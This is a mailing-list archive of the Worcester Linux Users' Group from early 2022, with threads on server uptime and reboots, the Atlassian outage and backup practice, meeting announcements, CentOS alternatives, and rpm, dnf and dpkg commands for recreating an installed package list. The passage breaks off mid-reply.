via WLUG wrote: > > It you kept it up all of the time, how would you apply updates that > > require a re-boot? > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/2CNXU… > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 21, 2022

Re: Uptime!

by Michael Voorhis

Additionally if you never reboot, how do you know the machine WILL reboot? How do you know what the system will do after a power failure, etc? Fate will intervene at some point and force you to reboot whether you want to or not, so you should be prepared with the knowledge of how the system will respond to that. On 4/21/22 09:54, David Glaser via WLUG wrote: > It you kept it up all of the time, how would you apply updates that > require a re-boot?

April 21, 2022

Re: Uptime!

by David Glaser

It you kept it up all of the time, how would you apply updates that require a re-boot? -David On 4/21/2022 9:27 AM, THE HAMMER via WLUG wrote: > So I guess my question is if I'm just running a personal Linux machine > at home, what are the advantages or disadvantages to keeping it on, or > shutting down during non-use? > > -Ron > > (I might in the near future use one machine as a home server to share > files, so in that case see an advantage to possibly keeping it on 24/7) > ------------------------------------------------------------------------ > *From:* Tim Keller via WLUG <wlug(a)lists.wlug.org> > *Sent:* Wednesday, April 20, 2022 5:07 PM > *To:* Worcester Linux Users' Group General Discussion > <wlug(a)lists.wlug.org> > *Cc:* Tim Keller <turbofx(a)gmail.com> > *Subject:* [WLUG] Uptime! > I just shutdown a linux machine with 3169 days of uptime! > It had userland processes that have been actively running since 2013! > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org… -- This email has been checked for viruses by Avast antivirus software. https://www.avast.com/antivirus

April 21, 2022

Re: Uptime!

by THE HAMMER

So I guess my question is if I'm just running a personal Linux machine at home, what are the advantages or disadvantages to keeping it on, or shutting down during non-use? -Ron (I might in the near future use one machine as a home server to share files, so in that case see an advantage to possibly keeping it on 24/7) ________________________________ From: Tim Keller via WLUG <wlug(a)lists.wlug.org> Sent: Wednesday, April 20, 2022 5:07 PM To: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> Cc: Tim Keller <turbofx(a)gmail.com> Subject: [WLUG] Uptime! I just shutdown a linux machine with 3169 days of uptime! It had userland processes that have been actively running since 2013! Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 21, 2022

Re: Uptime!

by Mike Peckar

Fun Story, Maddog. Around 20 yrs ago I was consulting for Bloomberg in Skillman, NJ, a big Solaris shop. The HP app I was working with bellied up with memory leaks and I suggested they reboot that server. I was told flat out they don't reboot Solaris servers period. They cleaned up the mess and isolated where in the HP code that the pointer was lost, leaving me the not-so-fun task of filing the bug report with HP. Mike On Wed, Apr 20, 2022 at 7:39 PM Jon "maddog" Hall via WLUG < wlug(a)lists.wlug.org> wrote: > Tim, > > What was the reason for shutting it down? > > This reminds me of a story from years ago where a young friend contacted > me before a trip to the University of New Hampshire for a Linux LUG meeting. > > He asked me if I would go to a particular dorm and knock on the door of > what had been his door room. I was to ask if I could unplug the box that > was in the corner of the closet in the room. The system had been running > for five years in his former dorm room and he had forgotten the login > password. He did not want the machine back, just wanted it unplugged. > > A young woman answered the door, heard my explanation and let me unplug > the machine. "We were afraid to unplug it" she said. > > Your machine beat his machine on uptime. > > md > > On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> I just shutdown a linux machine with 3169 days of uptime! >> It had userland processes that have been actively running since 2013! >> Tim. >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/KSUVD… >

April 21, 2022

Re: Uptime!

by Jon "maddog" Hall

Tim, What was the reason for shutting it down? This reminds me of a story from years ago where a young friend contacted me before a trip to the University of New Hampshire for a Linux LUG meeting. He asked me if I would go to a particular dorm and knock on the door of what had been his door room. I was to ask if I could unplug the box that was in the corner of the closet in the room. The system had been running for five years in his former dorm room and he had forgotten the login password. He did not want the machine back, just wanted it unplugged. A young woman answered the door, heard my explanation and let me unplug the machine. "We were afraid to unplug it" she said. Your machine beat his machine on uptime. md On Wed, Apr 20, 2022 at 5:07 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > I just shutdown a linux machine with 3169 days of uptime! > It had userland processes that have been actively running since 2013! > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PW3ML… >

April 20, 2022

Uptime!

by Tim Keller

I just shutdown a linux machine with 3169 days of uptime! It had userland processes that have been actively running since 2013! Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 20, 2022

Reminder! WLUG tonight! Hudson Public Library! Topic: Fotoxx!

by Tim Keller

Hey Everybody, This is the final reminder we've got a meeting tonight at 7pm! The speaker is going to be Dick Miller! He's going to be talking about Fotoxx! Fotoxx is an open source professional grade photo editing and collection manager! I hope to see you at the Hudson Public Library or online in our Jitsi Room! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 14, 2022

Re: Atlassian outage

by Tim Keller

It makes me think that what they're using for "backups" are actually snapshots of volumes.. But if you purge that volume, you purge the snapshots with it.. As for people getting fired..Eh, nobody inadvertently got feed into an industrial grinding machine because someone turned off all the safeties. People are just unable to look at the jira kanban boards.. Ironically the people who caused this are likely the ones most likely to fix it. I once wiped out 20TB+ of production data. I could go into all the gory details, but to say I deleted a bunch of poorly labeled volumes on a SAN. All the same I did delete the data.. and I then had to fix the mistake and part of the process was me writing up a full incident report and a RCA. This looks like it was a major breakdown in process control and testing. This is *exactly* why there are pre-prod testing environments that are cloned from real data.. so when your script that was supposed to expand your EBS volumes does so by first destroying them and then creating them larger you find that out. I'm suspecting this is going to be part of the lively conversation tonight! Later, Tim. On Wed, Apr 13, 2022 at 4:00 PM John Stoffel <john(a)stoffel.org> wrote: > >>>>> "Jared" == Jared Greenwald via WLUG <wlug(a)lists.wlug.org> writes: > > Jared> At least they're owning the mistake, which is something I guess... > Jared> https://www.atlassian.com/engineering/april-2022-outage-update > > I want people to carefully reade these four paragraphs and ask > themselves, what is the difference between restoring one customer > quickly using a well tested process, and restoring 400 customers? > > We also maintain immutable backups that are designed to be resilient > against data corruption events, which enable recovery to a previous > point in time. Backups are retained for 30 days, and Atlassian > continuously tests and audits storage backups for restoration. > > Using these backups, we regularly roll-back individual customers or a > small set of customers who accidentally delete their own data. And, if > required, we can restore all customers at once into a new environment. > > What we have not (yet) automated is restoring a large subset of > customers into our existing (and currently in use) environment without > affecting any of our other customers. > > Within our cloud environment, each data store contains data from > multiple customers. Because the data deleted in this incident was only > a portion of data stores that are continuing to be used by other > customers, we have to manually extract and restore individual pieces > from our backups. Each customer site recovery is a lengthy and complex > process, requiring internal validation and final customer verification > when the site is restored. > > > These paragraphs are carefully written to imply one things, but show > that they have no system in place for proper rollbacks when an entire > customer gets purged. I suspect that their "nuke it all from orbit" > script *also* nuked the immutable backups as well, which is why this > is all taking so long to restore. > > I do hope the people who messed up are fired, and if anyone is fired > it's the managers who set up this debacle. > > John > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 14, 2022

Re: Atlassian outage

by John Stoffel

>>>>> "Jared" == Jared Greenwald via WLUG <wlug(a)lists.wlug.org> writes: Jared> At least they're owning the mistake, which is something I guess... Jared> https://www.atlassian.com/engineering/april-2022-outage-update I want people to carefully reade these four paragraphs and ask themselves, what is the difference between restoring one customer quickly using a well tested process, and restoring 400 customers? We also maintain immutable backups that are designed to be resilient against data corruption events, which enable recovery to a previous point in time. Backups are retained for 30 days, and Atlassian continuously tests and audits storage backups for restoration. Using these backups, we regularly roll-back individual customers or a small set of customers who accidentally delete their own data. And, if required, we can restore all customers at once into a new environment. What we have not (yet) automated is restoring a large subset of customers into our existing (and currently in use) environment without affecting any of our other customers. Within our cloud environment, each data store contains data from multiple customers. Because the data deleted in this incident was only a portion of data stores that are continuing to be used by other customers, we have to manually extract and restore individual pieces from our backups. Each customer site recovery is a lengthy and complex process, requiring internal validation and final customer verification when the site is restored. These paragraphs are carefully written to imply one things, but show that they have no system in place for proper rollbacks when an entire customer gets purged. I suspect that their "nuke it all from orbit" script *also* nuked the immutable backups as well, which is why this is all taking so long to restore. I do hope the people who messed up are fired, and if anyone is fired it's the managers who set up this debacle. John

April 13, 2022

Re: Atlassian outage

by John Stoffel

>>>>> "Tim" == Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: Tim> What do people of the crazy atlassian outage? They're talking Tim> about some customers still being offline for two weeks! Live by the cloud, die by the cloud... I think they seriously screwed up, which goes to show you the programming is 10% the work to be done, and 900% error, bounds and exception handling. All of which computers do poorly, but which we humans do reasonably well. But we're *slow* and the cloud is all about speed. In this case, it also shows that Atlassian's DR practices were crap in a major way. And if I was self hosting it internally, and knew that I was being forced to the cloud... I'd be yelling like hell at my sales rep and working to get off Atlassian products. The cloud has some advantages, and is lovely if you have a work load that scales horizontally really well, and which also bursts up in terms of performance need. But when you have a fairly static demand, it's maybe not the best thing to do. But ... the cloud sells itself on doing all those hard things well, like redundancy, resiliency, durability, etc. dual feed UPS, tested generators, reliable AC systems, etc. All the things a good Co-Lo or self hosted people handle to some level of execution. The cloud should (ideally) have all this down to a T. But ... when it doesn't, all hell breaks loose. John

April 13, 2022

Re: Atlassian outage

by Jared Greenwald

At least they're owning the mistake, which is something I guess... https://www.atlassian.com/engineering/april-2022-outage-update On Wed, Apr 13, 2022 at 11:54 AM Jon "maddog" Hall via WLUG < wlug(a)lists.wlug.org> wrote: > I consider a "faulty script" as the worst type of cyber attack. > > As a friend of one once famously said "I will replace you with a very > small shell script" > > They even made a T-shirt out of it. > > > https://www.teepublic.com/t-shirt/3810999-go-away-or-i-will-replace-you-wit… > > md > > On Wed, Apr 13, 2022 at 11:25 AM Tim Keller <turbofx(a)gmail.com> wrote: > >> While they're claiming it's not a cyber crime thing, it looks like a >> single person was able to do this with a faulty script.. that in itself is >> a bit distressing. >> >> It sounds like they've got a serious process problem. >> Tim. >> >> On Wed, Apr 13, 2022 at 10:54 AM Jon "maddog" Hall < >> jon.maddog.hall(a)gmail.com> wrote: >> >>> >What do people of the crazy atlassian outage? >>> >They're talking about some customers still being offline for two weeks! >>> >>> With Easter approaching I might call it "All your eggs in one basket", >>> and no matter how strong, big and well built that basket is we never can be >>> sure there is not an Easter Egg hiding in there, waiting for us. Although >>> Atlassian states it was not a Cyber Security issue, rom a Cyber Security >>> standpoint I will also point out that there are more and more foxes trying >>> to get at the henhouse. >>> >>> md >>> >>> On Wed, Apr 13, 2022 at 10:43 AM Tim Keller via WLUG < >>> wlug(a)lists.wlug.org> wrote: >>> >>>> What do people of the crazy atlassian outage? >>>> They're talking about some customers still being offline for two weeks! >>>> >>>> Later, >>>> Tim. >>>> >>>> -- >>>> I am leery of the allegiances of any politician who refers to their >>>> constituents as "consumers". >>>> _______________________________________________ >>>> WLUG mailing list -- wlug(a)lists.wlug.org >>>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>>> Change Settings: >>>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>>> Web Forum/Archive: >>>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/AWD5H… >>>> >>> >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/26PO4… >

April 13, 2022

Re: Atlassian outage

by Jon "maddog" Hall

I consider a "faulty script" as the worst type of cyber attack. As a friend of one once famously said "I will replace you with a very small shell script" They even made a T-shirt out of it. https://www.teepublic.com/t-shirt/3810999-go-away-or-i-will-replace-you-wit… md On Wed, Apr 13, 2022 at 11:25 AM Tim Keller <turbofx(a)gmail.com> wrote: > While they're claiming it's not a cyber crime thing, it looks like a > single person was able to do this with a faulty script.. that in itself is > a bit distressing. > > It sounds like they've got a serious process problem. > Tim. > > On Wed, Apr 13, 2022 at 10:54 AM Jon "maddog" Hall < > jon.maddog.hall(a)gmail.com> wrote: > >> >What do people of the crazy atlassian outage? >> >They're talking about some customers still being offline for two weeks! >> >> With Easter approaching I might call it "All your eggs in one basket", >> and no matter how strong, big and well built that basket is we never can be >> sure there is not an Easter Egg hiding in there, waiting for us. Although >> Atlassian states it was not a Cyber Security issue, rom a Cyber Security >> standpoint I will also point out that there are more and more foxes trying >> to get at the henhouse. >> >> md >> >> On Wed, Apr 13, 2022 at 10:43 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> >> wrote: >> >>> What do people of the crazy atlassian outage? >>> They're talking about some customers still being offline for two weeks! >>> >>> Later, >>> Tim. >>> >>> -- >>> I am leery of the allegiances of any politician who refers to their >>> constituents as "consumers". >>> _______________________________________________ >>> WLUG mailing list -- wlug(a)lists.wlug.org >>> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >>> Create Account: https://wlug.mailman3.com/accounts/signup/ >>> Change Settings: >>> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >>> Web Forum/Archive: >>> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/AWD5H… >>> >> > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". >

April 13, 2022

Re: Atlassian outage

by Tim Keller

While they're claiming it's not a cyber crime thing, it looks like a single person was able to do this with a faulty script.. that in itself is a bit distressing. It sounds like they've got a serious process problem. Tim. On Wed, Apr 13, 2022 at 10:54 AM Jon "maddog" Hall < jon.maddog.hall(a)gmail.com> wrote: > >What do people of the crazy atlassian outage? > >They're talking about some customers still being offline for two weeks! > > With Easter approaching I might call it "All your eggs in one basket", and > no matter how strong, big and well built that basket is we never can be > sure there is not an Easter Egg hiding in there, waiting for us. Although > Atlassian states it was not a Cyber Security issue, rom a Cyber Security > standpoint I will also point out that there are more and more foxes trying > to get at the henhouse. > > md > > On Wed, Apr 13, 2022 at 10:43 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> What do people of the crazy atlassian outage? >> They're talking about some customers still being offline for two weeks! >> >> Later, >> Tim. >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/AWD5H… >> > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 13, 2022

Re: Atlassian outage

by Jon "maddog" Hall

>What do people of the crazy atlassian outage? >They're talking about some customers still being offline for two weeks! With Easter approaching I might call it "All your eggs in one basket", and no matter how strong, big and well built that basket is we never can be sure there is not an Easter Egg hiding in there, waiting for us. Although Atlassian states it was not a Cyber Security issue, rom a Cyber Security standpoint I will also point out that there are more and more foxes trying to get at the henhouse. md On Wed, Apr 13, 2022 at 10:43 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > What do people of the crazy atlassian outage? > They're talking about some customers still being offline for two weeks! > > Later, > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/AWD5H… >

April 13, 2022

Atlassian outage

by Tim Keller

What do people of the crazy atlassian outage? They're talking about some customers still being offline for two weeks! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 13, 2022

Reminder! WLUG Meeting April 14th, 2022! Topic: Fotoxx! Presenter: Dick Miller

by Tim Keller

Hey Everybody, We've got a meeting on April 14th at 7pm! The topic is going to be "Fotoxx." This is a professional grade photo management/editing suite developed by Dick Miller. He's going to be showing off it's many amazing features! We'll be meeting at the Hudson Public Library in our usual space. We'll also be meeting online using Jitsi at our usual haunt as well ( https://meet.jit.si/WlugMA) Snacks and Refreshments will be provided and the whole presentation is going to be recorded and uploaded to our youtube channel! Afterwards we'll head off for dinner! Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

April 12, 2022

Re: April 14th Meeting Announcement! Topic: Fotoxx Presenter: Dick Miller

by John Stoffel

>>>>> "Tim" == Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: Tim> This month Dick Miller will be speaking about the amazing photo Tim> editing software called "Fotoxx". Tim> https://kornelix.net/fotoxx/fotoxx.html Tim> Time: 7pm Tim> Date: April 14th, 2022 Tim> Location: Physical at the Hudson Public Library and virtual in our usual Jitsi haunt. Tim> https://meet.jit.si/WlugMA Tim> We'll be recording the session and posting it to the WLUG youtube channel: Tim> https://www.youtube.com/channel/UCj-5C7Lr4B_2iFr9_vAnmaA Looking forward to being there and seeing this presentation. Would it help if I brought a tablet and pen to be used/tested with the software? As a lefty who can only mouse with the right hand, but *sucks* drawing with the mouse, I'd be interested to see how that works. John

April 7, 2022

April 14th Meeting Announcement! Topic: Fotoxx Presenter: Dick Miller

by Tim Keller

Hey Everybody, This month Dick Miller will be speaking about the amazing photo editing software called "Fotoxx". https://kornelix.net/fotoxx/fotoxx.html From their website: Fotoxx is a free open source *Linux* program for image editing and collection management. The goal is to meet the needs of serious photographers while remaining fast and easy to use. This presentation has been long in the making. Dick reached out to Chuck that due to scheduling conflicts more than a decade ago he was unable to schedule the presentation! Time: 7pm Date: April 14th, 2022 Location: Physical at the Hudson Public Library and virtual in our usual Jitsi haunt. https://meet.jit.si/WlugMA We'll be recording the session and posting it to the WLUG youtube channel: https://www.youtube.com/channel/UCj-5C7Lr4B_2iFr9_vAnmaA As usual, we'll head off after the meeting for dinner and keep the conversation going. I really hope to see you there!! Later, Tim.

April 6, 2022

Reminder: Meeting This Thursday at 7pm, Location: Hudson Public Library + online!

by Tim Keller

Have you cooked up a really cool gadget and upon looking at the huge mess of breadboard wires thought, "It sure would be great if I could turn that into a PCB, but alas, that software is expensive and proprietary and only runs on windows." KiCAD is an open source EDA (Electronic Design Automation) tool that allows you to take your pile o' wires and IC's and turn it into a PCB! Long time member John Stoffel and myself will show you how Thursday night at 7pm at the Hudson Public Library! We'll also have the meeting online at Jitsi and we'll be recording this whole thing for youtube! Afterwards we'll likely head off for dinner and keep up the nerdiness! I hope to see you there or virtually, both work! Later, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

March 9, 2022

Reminder: WLUG Meeting March 10th, 2022! Topic: KiCAD

by Tim Keller

We've got a meeting on Thursday March 10th! Date & Time: March 10th, 2022 @ 7pm Location: Hudson Public Library and Jitsi at our usual haunt ( https://meet.jit.si/WlugMA) Topic: KiCAD EDA software Speaker(s): John Stoffel and Tim Keller This is going to be an in person and virtual meeting at the Hudson Public Library! The topic is KiCAD, a FOSS EDA (Electronic Design Automation) CAD tool. KiCAD is a computer aided design software package that enables you to create logical circuit diagrams and convert them into a PCBs (Printed Circuit Boards). This software is being used in the industry and has a vibrant community around it. The speaker for this talk is our own esteemed member John Stoffel with myself lending a hand. John and I will show up some of the features of the software, talk about how he's used it to create his own PCB's and give a quick demo. As always these days the entire meeting will be uploaded to our youtube channel. Snacks and Refreshments will be provided and afterwards we'll head out for dinner. I hope to see you there (even if only virtually!) Later, Tim.

March 5, 2022

Changes to CentOS and its replacements

by Aljerin Butler,Jr.

At our last WLUG meeting there was some discussion about the changes from CentOS to CentOS Stream, plus replacements for CentOS. I picked off a few articles from my website that might help clear the air about the differences between the old and the new CentOS and how to migrate to one of its replacements. AlmaLinux vs CentOS CentOS Replacements For Your Production Linux Servers AlmaLinux’s ELevate Project Makes the Migration from CentOS 7 Easy Migrate To AlmaLinux 8 From CentOS 8 Using Almalinux-deploy Script

Feb. 13, 2022

Re: Video is up on youtube!

by John Stoffel

Dang, I missed this meeting completely. It certainly looks interesting, but what is the real drive here to replace git/mercurial/etc with yet another VCS? I don't see what one executable is a feature, unless you want to be able to copy it all over the place easily... It looks like it should work, and I guess I should try to stuff the kernel source tree into it and see what happens. LOL! John

Feb. 11, 2022

Video is up on youtube!

by Tim Keller

Hey Gang, Bill gave a great presentation of fossil and what it can do. The video is up on youtube here: https://youtu.be/Zn_JTg3JDbI Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Feb. 11, 2022

Reminder! WLUG Meeting tonight! Topic: Fossil!

by Tim Keller

Hey Everybody, We've got a virtual meeting tonight, Thursday February 10th. Time: 7pm Location: https://meet.jit.si/WlugMA Presenter: Bill Cattey Topic: Fossil - Github in a box! Long time member Bill Cattey will be giving a talk/demo about Fossil. From the website: https://www2.fossil-scm.org/ <https://www2.fossil-scm.org/> Fossil is a simple, high-reliability, distributed software configuration management system with many integrated advanced features, including things such as bug tracking, wiki, forum, email alerts, chat and tech notes. Many of us are daily users of various SCM systems, such as git, so it'll be great to see what other innovations in the SCM space are out there. I'll be recording this meeting and posting it on our youtube channel. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Feb. 10, 2022

Re: Virtual meeting this Thursday (2/10/22) Topic: Fossil - Github in a box!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: >>From the website: https://www2.fossil-scm.org/ > <https://www2.fossil-scm.org/> > Fossil is a simple, high-reliability, *disturbed* software configuration I was distributed by this description, so I went to the web site. Tnat's not what it says. I think Tim must be the victim of a spill Czech program. I'll try to log into the meeting. -- Keith

Feb. 8, 2022

Re: Virtual meeting this Thursday (2/10/22) Topic: Fossil - Github in a box!

by Joshua Stone

Hey all, I don't think I'll be able to make this meeting, as I'll be attending a meeting for my town's newly-formed pedestrian/bike committee which happens to be in the same time slot: https://www.townofhudson.org/ad-hoc-bicycle-and-pedestrian-committee/events… I hope everyone enjoys this virtual WLUG meeting! - Josh On Tue, Feb 8, 2022 at 12:02 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody, > > We've got a virtual meeting on Thursday February 10th. > Time: 7pm > Location: https://meet.jit.si/WlugMA > Presenter: Bill Cattey > Topic: Fossil - Github in a box! > > Long time member Bill Cattey will be giving a talk/demo about Fossil. > > From the website: https://www2.fossil-scm.org/ > <https://www2.fossil-scm.org/> > Fossil is a simple, high-reliability, disturbed software configuration > management system with many integrated advanced features, including things > such as bug tracking, wiki, forum, email alerts, chat and tech notes. > > Many of us are daily users of various SCM systems, such as git, so it'll > be great to see what other innovations in the SCM space are out there. > > I'll be recording this meeting and posting it on our youtube channel. > > Thanks, > Tim. > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/6N364… >

Feb. 8, 2022

Virtual meeting this Thursday (2/10/22) Topic: Fossil - Github in a box!

by Tim Keller

Hey Everybody, We've got a virtual meeting on Thursday February 10th. Time: 7pm Location: https://meet.jit.si/WlugMA Presenter: Bill Cattey Topic: Fossil - Github in a box! Long time member Bill Cattey will be giving a talk/demo about Fossil. From the website: https://www2.fossil-scm.org/ <https://www2.fossil-scm.org/> Fossil is a simple, high-reliability, disturbed software configuration management system with many integrated advanced features, including things such as bug tracking, wiki, forum, email alerts, chat and tech notes. Many of us are daily users of various SCM systems, such as git, so it'll be great to see what other innovations in the SCM space are out there. I'll be recording this meeting and posting it on our youtube channel. Thanks, Tim.

Feb. 8, 2022

Re: Hey Everybody! We've got a meeting this week!

by Joel

I would also lean towards JITSI for the month. Joel On February 8, 2022 1:33:17 AM "Robert N. Evans via WLUG" <wlug(a)lists.wlug.org> wrote: > I don't think I would do an in-person meeting. > > - Bob Evans > -----Original Message----- > From: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> > Sent: Feb 7, 2022 6:14 PM > To: Worcester Linux Users' Group General Discussion <wlug(a)lists.wlug.org> > Cc: Tim Keller <turbofx(a)gmail.com> > Subject: [WLUG] Hey Everybody! We've got a meeting this week! > Hey Everybody, > > We've got a meeting on Thursday! As of right now I don't have anything lined up, but I'm working on it. If someone has something they're interested in talking about, please let me know. > > We'll definitely talk about the polkit fiasco! That's for sure. > > The next question is this.. Virtual or physical? What do people think? > Tim. > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/LP42T…

Feb. 8, 2022

Re: Hey Everybody! We've got a meeting this week!

by Robert N. Evans

I don't think I would do an in-person meeting. - Bob Evans -----Original Message----- From: Worcester Linux Users' Group General Discussion Sent: Feb 7, 2022 6:14 PM To: Worcester Linux Users' Group General Discussion Cc: Tim Keller Subject: [WLUG] Hey Everybody! We've got a meeting this week! Hey Everybody, We've got a meeting on Thursday! As of right now I don't have anything lined up, but I'm working on it. If someone has something they're interested in talking about, please let me know. We'll definitely talk about the polkit fiasco! That's for sure. The next question is this.. Virtual or physical? What do people think? Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Feb. 8, 2022

Hey Everybody! We've got a meeting this week!

by Tim Keller

Hey Everybody, We've got a meeting on Thursday! As of right now I don't have anything lined up, but I'm working on it. If someone has something they're interested in talking about, please let me know. We'll definitely talk about the polkit fiasco! That's for sure. The next question is this.. Virtual or physical? What do people think? Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Feb. 7, 2022

"Emacs for fun and pro fit" posted to WLUG youtube channel.

by Tim Keller

This is the un-edited raw video, it's fun enough just as it is. https://www.youtube.com/watch?v=cVy-kMSnaHc The talk starts at: https://youtu.be/cVy-kMSnaHc?t=245 Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

Jan. 18, 2022

Re: clean Linux install while keeping the same packages installed as before

by Gregory Avedissian

For debian-based systems, you can use 'dpkg --get-selections' and 'dpkg --set-selections' to reproduce a set of installed packages. You can expect to run into errors if you are using this to go to the next release, because some packages will be missing or replaced with a different named package. On 1/14/22, Chuck Anderson via WLUG <wlug(a)lists.wlug.org> wrote: > I'm more familiar with Fedora where I do something like this. It > should be possible to do the same in Ubuntu with the appropriate > apt-get commands. > > 1. List all packages with their names only (no versions) on both the > old system and newly installed system, assuming the new system is > booted and the old system is mounted at /mnt/oldroot. > Alternatively, do the first command (without the --root parameter) > when booted to the old version and save the file somewhere: > > rpm -qa --qf='%{name}\n' --root=/mnt/oldroot | sort -u > old-pkglist.txt > rpm -qa --qf='%{name}\n' | sort -u > new-pkglist.txt > > > 2. Compare the files and save that output: > > diff -b -U0 {old,new}-pkglist.txt > old-new-diff.txt > grep ^- old-new-diff.txt | cut -c2- > missing-from-new.txt > grep ^+ old-new-diff.txt | cut -c2- > only-in-new.txt > > 3. Now go through the list and install what you want. I usually do > this step manually rather than using some automated script, since > there are many changes I don't necessarily want, such as shared > libraries. All I really care about is applications/commands/utilities. > I go through the lists, reading the diff in one window and installing > stuff I want in another: > > dnf install a b c d ... > > and/or this which installs a package and all of its subpackages > except development and debug subpackages. This is great when a > package has a bunch of plugins I want: > > dnf --exclude='*devel*' --exclude='*debug*' install foo-\* ... > > Or you could curate the list, e.g. edit missing-from-new.txt > keeping only the lines you care about, then automatically install > everything that is in the curated list: > > cat missing-from-new-curated.txt | xargs dnf -y install > >> >> On Thu, Jan 13, 2022 